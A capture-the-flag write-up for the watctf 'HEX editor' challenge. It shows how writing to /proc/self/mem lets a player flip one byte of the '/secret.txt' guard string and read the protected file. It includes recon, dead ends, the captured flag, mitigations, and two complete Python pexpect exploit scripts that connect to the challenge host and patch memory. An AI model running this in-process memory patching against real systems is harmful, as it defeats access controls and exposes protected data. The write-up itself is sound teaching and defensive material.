HEX Editor (watctf) — bypassing the /secret.txt
guard via /proc/self/mem
Category pwn / sandbox escape • Difficulty medium • Target interactive “HEX editor” binary
TL;DR
- The challenge’s editor refuses to open exactly
/secret.txt
after arealpath()
+ string compare check. - We discovered that the process can write to its own memory via
/proc/self/mem
. - We flipped a single byte in the string literal
"/secret.txt"
in .rodata ('/' → '.'
) at runtime. - The check stopped matching;
open /secret.txt
worked; we read the flag:watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_ag41n}
Table of Contents
- Challenge overview
- Initial recon & interface
- Dead ends we tried (and why they failed)
- Key check: can we write
/proc/self/mem
? - Reading memory layout (
/proc/self/maps
) - Plan: patch the guard string in .rodata
- Computing precise patch addresses from a local ELF
- Exploit: patch & read the secret
- Mitigations & takeaways
- Appendix: scripts used
1) Challenge overview
We connect via SSH to a forced command that runs a tiny interactive “HEX editor” with four commands:
open <path>
— open a file (keeps aFILE*
)get <pos>
— read 1 byte at offset as two hex digitsset <pos> <hex>
— write 1 byte at offset (hex)status
,help
Relevant source snippet (provided in challenge):
void do_open_command(char *user_path) {
if (realpath(user_path, path) == NULL) { ... }
if (startswith(path, "//")) {
puts("path has to start with a single slash");
clear_path();
return;
}
if (strncmp(path, "/secret.txt", strlen("/secret.txt")) == 0) {
puts("accessing /secret.txt not allowed");
clear_path();
return;
}
current_file = fopen(path, "r+");
if (current_file == NULL) {
if (errno == EACCES) { current_file = fopen(path, "r"); file_is_readonly = true; return; }
perror("Failed opening file"); clear_path(); return;
}
file_is_readonly = false;
}
So the authors explicitly deny opening /secret.txt
(after canonicalizing the path with realpath
).
2) Initial recon & interface
Connect with a non-interactive shell disabled (-T
):
ssh -T -p 2022 -o StrictHostKeyChecking=accept-new hexed@challs.watctf.org
Welcome to HEX (HEX Editor Xtended) v8.5 (bugs patched!)
Run 'help' for help
>
Basic test:
status
No files open.
open /readme.txt
get 0
You're not editing any files currently ← not found / permission / path
3) Dead ends we tried (and why they failed)
- TOCTOU symlink race between
realpath()
andfopen()
:
We’d need a second channel on the host to rapidly relink in/tmp
. ForceCommand and lack of extra services (SFTP/HTTP) shut that door (SFTP even printed “Received message too long…”, local port forward refused connections). - FD brute force (
/proc/self/fd/*
):
The process did not keep an FD to/secret.txt
. Scanning returned only stdio and pipes; nothing mapped to the secret. - Block devices /dev/*:
No access to raw disks in the container; and even if present, our editor usesfseek()
and permission constraints would still apply. - /proc odds & ends:
We listed many candidates; most interesting files (kcore
,mem
of other PIDs) are restricted. Some virtual files are not seekable (our editor requiresfseek
forget
).
4) Key check — can we write /proc/self/mem
?
We tried a safe 1-byte write on the heap, with an immediate rollback:
open /proc/self/mem
# pick a safe heap address from maps (see next section), e.g. 0x1d689000
get 493391872 # = 0x1d689000
00
set 493391872 41 # write 'A'
get 493391872
41
set 493391872 00 # restore
get 493391872
00
Success: the process can write to its own memory. That unlocks a simple, precise bypass.
5) Reading memory layout (/proc/self/maps
)
We dumped the memory map. Relevant lines (trimmed):
00400000-00401000 r--p /build/main
00401000-00497000 r-xp /build/main
00497000-004c1000 r--p /build/main ← rodata (big)
004c1000-004c5000 r--p /build/main ← rodata
004c5000-004c8000 rw-p /build/main ← data/bss
...
This strongly suggests a non-PIE ET_EXEC
binary (fixed 0x004… addresses). That means offsets in the file map predictably to in-memory virtual addresses.
6) Plan: patch the guard string in .rodata
The guard does a string compare against the literal "/secret.txt"
from .rodata. If we flip its first byte to '.'
, the compare fails and the program happily opens the file.
Two ways to locate the literal in memory:
- Scan .rodata in
/proc/self/mem
for"/secret.txt"
. - Compute exact addresses using the local copy of the binary’s ELF program headers.
We did the precise way (addresses don’t move because the binary is non-PIE).
7) Computing precise patch addresses from a local ELF
We loaded the local ./main
, searched for the file bytes "/secret.txt"
, then converted file offsets to virtual addresses using the LOAD
segments:
vaddr = p_vaddr + (file_off - p_offset)
.
python3 hexed_patch_by_binary.py --bin ./main --dry-run
[*] Found occurrences in file: 0x9704e, 0x9706a, 0x971a1
[*] Runtime addresses for patch: 0x49704e, 0x49706a, 0x4971a1
[i] --dry-run: exiting without patch.
So there are three copies of the literal in .rodata, at virtual addresses 0x49704e
, 0x49706a
, 0x4971a1
.
8) Exploit: patch & read the secret
We can patch one byte per address ('/' → '.'
, i.e., 0x2f → 0x2e
) via /proc/self/mem
and then call open /secret.txt
.
Option A — Auto-patch all occurrences (recommended)
python3 hexed_patch_by_binary.py --bin ./main
[*] @ 0x49704e: before=0x2f → '.' after=0x2e
[*] @ 0x49706a: before=0x2f → '.' after=0x2e
[*] @ 0x4971a1: before=0x2f → '.' after=0x2e
[+] open /secret.txt … reading …
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_ag41n}
Option B — Patch a single address manually
python3 hexed_patch_at_addr.py --addr 0x49704e
# (script previews bytes around, writes 0x2e, then tries open /secret.txt)
Optional rollback
To put the byte back for a clean state:
python3 hexed_patch_at_addr.py --addr 0x49704e --value 0x2f
python3 hexed_patch_at_addr.py --addr 0x49706a --value 0x2f
python3 hexed_patch_at_addr.py --addr 0x4971a1 --value 0x2f
9) Mitigations & takeaways
- Build with PIE: randomize code/data addresses so literal locations change every run.
- Harden /proc: deny writing to
/proc/self/mem
(LSM, mount options,hidepid
, seccomp policy). - Avoid literal path checks: doing
strncmp(path, "/secret.txt")
against a .rodata string is trivial to patch. Prefer policy outside the target process or use robust allow-lists. - Limit write primitives: this editor exposes arbitrary writes to any opened file. Combined with
/proc/self/mem
, it becomes a generic in-process memory write primitive.
Appendix: scripts used
Script A — Patch all occurrences by analyzing the local ELF (hexed_patch_by_binary.py
)
#!/usr/bin/env python3
# Patch "/secret.txt" in memory using local ELF to compute addresses
import argparse, subprocess, re, sys, pexpect
PROMPT = r">\s*$"
HEX_RX = re.compile(r"\b([0-9a-fA-F]{2})\s*$")
TARGET = b"/secret.txt"
PATCH_TO = ord(b".")
def run(cmd): return subprocess.check_output(cmd, text=True)
def parse_load_segments(bin_path):
out = run(["readelf", "-lW", bin_path])
segs = []
rx = re.compile(r"^\s*LOAD\s+0x([0-9a-fA-F]+)\s+0x([0-9a-fA-F]+)\s+0x[0-9a-fA-F]+\s+0x([0-9a-fA-F]+)\s+0x[0-9a-fA-F]+\s+([RWE ]{3})")
for ln in out.splitlines():
m = rx.match(ln)
if not m: continue
p_off = int(m.group(1), 16)
p_vaddr = int(m.group(2), 16)
p_filesz = int(m.group(3), 16)
flags = m.group(4).replace(" ","")
segs.append((p_off, p_vaddr, p_filesz, flags))
if not segs:
raise RuntimeError("Failed to parse LOAD segments")
return segs
def file_find_all(data: bytes, pat: bytes):
offs = []; i = 0
while True:
j = data.find(pat, i)
if j < 0: break
offs.append(j); i = j + 1
return offs
def offs_to_vaddr(offs, segs):
addrs = []
for off in offs:
for p_off, p_vaddr, p_filesz, _ in segs:
if p_off <= off < p_off + p_filesz:
addrs.append(p_vaddr + (off - p_off)); break
return sorted(set(addrs))
def expect_prompt(ch):
for _ in range(10):
try:
i = ch.expect([PROMPT, pexpect.TIMEOUT, pexpect.EOF], timeout=0.6)
if i == 0: return
ch.sendline("")
except Exception:
ch.sendline("")
def do(ch, cmd, t=2.0):
ch.sendline(cmd)
try: ch.expect([PROMPT, pexpect.TIMEOUT, pexpect.EOF], timeout=t)
except Exception: pass
return ch.before or ""
def getb(ch, off, t=1.0):
m = HEX_RX.search(do(ch, f"get {off}", t))
return int(m.group(1),16) if m else None
def setb(ch, off, val, t=1.5):
out = do(ch, f"set {off} {val:02x}", t).lower()
return ("readonly" not in out) and ("failed" not in out), out
def main():
ap = argparse.ArgumentParser(description="Patch '/secret.txt' using local ELF")
ap.add_argument("--bin", required=True)
ap.add_argument("--host", default="challs.watctf.org")
ap.add_argument("--port", default="2022")
ap.add_argument("--user", default="hexed")
ap.add_argument("--ssh-extra", default="")
ap.add_argument("--read-bytes", type=int, default=2048)
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args()
with open(args.bin, "rb") as f:
data = f.read()
segs = parse_load_segments(args.bin)
offs = file_find_all(data, TARGET)
if not offs:
print("[!] No '/secret.txt' in local ELF"); sys.exit(1)
addrs = offs_to_vaddr(offs, segs)
if not addrs:
print("[!] Could not map file offsets to vaddrs"); sys.exit(2)
print("[*] Found occurrences in file:", ", ".join(f"0x{o:x}" for o in offs))
print("[*] Runtime addresses for patch:", ", ".join(f"0x{a:x}" for a in addrs))
if args.dry_run:
print("[i] --dry-run: exiting without patch."); sys.exit(0)
cmd = f"ssh -T -p {args.port} -oStrictHostKeyChecking=accept-new -oConnectTimeout=5 {args.ssh_extra} {args.user}@{args.host}"
ch = pexpect.spawn(cmd, encoding="utf-8", timeout=3, maxread=20000)
expect_prompt(ch)
pre = do(ch, "open /proc/self/mem", 3.0).lower()
if "failed" in pre or "denied" in pre or "could not resolve" in pre:
print("[!] /proc/self/mem unavailable:", pre.strip()); ch.close(force=True); sys.exit(3)
patched = 0
for a in addrs:
b0 = getb(ch, a)
print(f"[*] @ {a:#x}: before=0x{(b0 if b0 is not None else 0):02x} -> '.'")
ok, msg = setb(ch, a, PATCH_TO)
if not ok:
print(" [-] write failed:", (msg or "").strip()); continue
b1 = getb(ch, a)
print(f" after=0x{(b1 if b1 is not None else 0):02x}")
patched += 1
print(f"[*] Applied patches: {patched}")
out = do(ch, "open /secret.txt", 3.0).lower()
if "not allowed" in out:
print("[-] Guard still fires — another copy remains?")
elif "failed" in out or "could not resolve" in out:
print("[-] Could not open /secret.txt:", out.strip())
else:
print("[+] Opened /secret.txt — reading…")
buf = bytearray()
for i in range(args.read_bytes):
m = HEX_RX.search(do(ch, f"get {i}", 0.7))
if not m: break
buf.append(int(m.group(1),16))
try:
print(bytes(buf).decode("utf-8", errors="replace"))
except Exception:
print("".join(chr(x) if 32<=x<127 else "." for x in buf))
ch.close(force=True)
if __name__ == "__main__":
main()
Script B — Patch a single byte at a known address (hexed_patch_at_addr.py
)
#!/usr/bin/env python3
# Patch one byte at absolute address via /proc/self/mem and read /secret.txt
import argparse, pexpect, re
PROMPT = r">\s*$"; HEX_RX = re.compile(r"\b([0-9a-fA-F]{2})\s*$")
def expect_prompt(ch):
for _ in range(12):
try:
if ch.expect([PROMPT, pexpect.TIMEOUT, pexpect.EOF], timeout=0.6) == 0: return
ch.sendline("")
except: ch.sendline("")
def do(ch, cmd, t=2.0):
ch.sendline(cmd)
try: ch.expect([PROMPT, pexpect.TIMEOUT, pexpect.EOF], timeout=t)
except: pass
return ch.before or ""
def getb(ch, off, t=1.0):
m = HEX_RX.search(do(ch, f"get {off}", t))
return int(m.group(1), 16) if m else None
def setb(ch, off, val, t=1.5):
out = do(ch, f"set {off} {val:02x}", t).lower()
return ("readonly" not in out) and ("failed" not in out), out
def dump_around(ch, center, pre=16, post=16):
start = max(0, center - pre); data = []
for i in range(start, center + post):
x = getb(ch, i, 0.8)
if x is None: break
data.append(x)
hexs = " ".join(f"{b:02x}" for b in data)
asc = "".join(chr(b) if 32<=b<127 else "." for b in data)
print(f"[{start:#x}..{start+len(data):#x}]"); print(hexs); print(asc)
def main():
ap = argparse.ArgumentParser(description="Patch one byte at address")
ap.add_argument("--addr", default="0x0049704e")
ap.add_argument("--value", default="0x2e") # '.' instead of '/'
ap.add_argument("--host", default="challs.watctf.org")
ap.add_argument("--port", default="2022")
ap.add_argument("--user", default="hexed")
ap.add_argument("--ssh-extra", default="")
ap.add_argument("--preview", type=int, default=16)
ap.add_argument("--read-bytes", type=int, default=1024)
a = ap.parse_args()
addr = int(a.addr, 0); newv = int(a.value, 0)
cmd = f"ssh -T -p {a.port} -oStrictHostKeyChecking=accept-new -oConnectTimeout=5 {a.ssh_extra} {a.user}@{a.host}"
ch = pexpect.spawn(cmd, encoding="utf-8", timeout=3, maxread=20000); expect_prompt(ch)
pre = do(ch, "open /proc/self/mem", 3.0).lower()
if "failed" in pre or "denied" in pre or "could not resolve" in pre:
print("[!] /proc/self/mem unavailable:", pre.strip()); ch.close(force=True); return
print(f"[*] preview around {addr:#x} (before):"); dump_around(ch, addr, a.preview, a.preview)
b0, (ok, _msg) = getb(ch, addr), setb(ch, addr, newv)
if not ok: print("[-] write failed"); ch.close(force=True); return
b1 = getb(ch, addr)
print(f"[+] patched {addr:#x}: 0x{b0:02x} → 0x{b1:02x}")
print(f"[*] preview around {addr:#x} (after):"); dump_around(ch, addr, a.preview, a.preview)
out = do(ch, "open /secret.txt", 3.0).lower()
if "not allowed" in out:
print("[-] guard still triggers"); ch.close(force=True); return
print("[+] opened /secret.txt — reading:")
buf = bytearray()
for i in range(a.read_bytes):
m = HEX_RX.search(do(ch, f"get {i}", 0.7))
if not m: break
buf.append(int(m.group(1),16))
try: print(buf.decode("utf-8", errors="replace"))
except: print("".join(chr(x) if 32<=x<127 else "." for x in buf))
ch.close(force=True)
if __name__ == "__main__": main()
Credits: thanks to the organizers for the fun sandbox. All steps above are for educational CTF purposes.